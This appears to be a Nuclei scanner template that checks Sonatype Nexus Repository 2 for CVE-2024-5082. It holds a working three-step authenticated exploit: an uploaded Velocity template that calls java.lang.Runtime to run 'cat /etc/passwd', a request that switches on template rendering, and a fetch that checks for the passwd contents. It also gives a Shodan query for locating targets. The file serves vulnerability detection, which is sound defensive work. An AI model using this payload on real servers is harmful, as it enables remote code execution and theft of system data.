id: CVE-2024-5082 info: name: Nexus Repository 2 - Remote Code Execution author: iamnoooob,rootxharsh,pdresearch severity: high description: | A Remote Code Execution vulnerability has been discovered in Sonatype Nexus Repository 2.This issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1. impact: | Attackers can exploit vulnerabilities to compromise the system. remediation: | Update to the latest patched version addressing CVE-2024-5082. reference: - https://github.blog/security/vulnerability-research/attacks-on-maven-proxy-repositories/ - https://support.sonatype.com/hc/en-us/articles/30694125380755 classification: epss-score: 0.01864 epss-percentile: 0.76559 metadata: verified: true max-request: 3 shodan-query: html:"Nexus Repository" tags: cve,cve2024,intrusive,nexus,sonartype,vkev,vuln flow: http(1) && http(2) && http(3) variables: username: "{{username}}" password: "{{password}}" credentials: "{{ username + ':' + password }}" http: - raw: - | PUT /nexus/service/local/repositories/releases/content/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1 Host: {{Hostname}} Connection: close Authorization: Basic {{base64(credentials)}} Content-type: text/xml #set($engine="") #set($run=$engine.getClass().forName("java.lang.Runtime")) #set($runtime=$run.getRuntime()) #set($proc=$runtime.exec("cat /etc/passwd")) #set($null=$proc.waitFor()) #set($istr=$proc.getInputStream()) #set($chr=$engine.getClass().forName("java.lang.Character")) #set($output="") #set($string=$engine.getClass().forName("java.lang.String")) #foreach($i in [1..$istr.available()]) #set($output=$output.concat($string.valueOf($chr.toChars($istr.read())))) #end $output matchers: - type: status internal: true status: - 201 - raw: - | PUT /nexus/service/local/repositories/releases/content//.nexus/attributes/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(credentials)}} Content-type: application/json {"contentGenerator":"velocity"} matchers: - type: status internal: true status: - 201 - raw: - | GET /nexus/service/local/repositories/releases/content/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(credentials)}} matchers-condition: and matchers: - type: regex part: body regex: - 'root:.*:0:0:' - type: word part: content_type words: - "text/plain" # digest: 4a0a004730450221008f236eb5a7c3885bd6fc7d8063d1fec8e0ef187a9cade18933f829d2370c09be022056378cf066c46a28eadfbedecbe58cc1fa8c74e6dcf177967f559d0eb14bed69:922c64590222798bb761d5b6d8e72950